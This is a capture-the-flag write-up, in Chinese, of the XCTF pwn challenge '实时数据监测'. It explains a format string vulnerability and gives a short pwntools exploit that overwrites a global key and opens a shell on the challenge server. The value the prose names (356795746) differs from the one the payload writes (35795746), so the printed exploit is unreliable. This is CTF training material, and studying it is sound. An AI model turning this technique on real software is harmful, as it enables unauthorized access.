XCTF-PWN-实时数据监测

题目描述

小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。

WP

checksec

image-20211024153412217

IDA

image-20211024154220284

发现只需要让key == 356795746,就能拿到shell

image-20211024154726432

得到key的地址:0x0804A048

image-20211024154342252

imagemagic函数中有格式化字符串的漏洞

测试偏移

image-20211024154532553

找到0x61616161的位置,得到偏移为12

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# p = process('./sssjjc')
p = remote('111.200.241.244', 52134)
context.log_level = 'debug'

key_addr = 0x0804A048
payload = fmtstr_payload(12, {key_addr:35795746})
# 用这个函数挺惭愧的,因为手算还是有些难度,理解了一题,换一题还是算不出来

# p.recv()
p.sendline(payload)
p.interactive()

结果

image-20211024160047163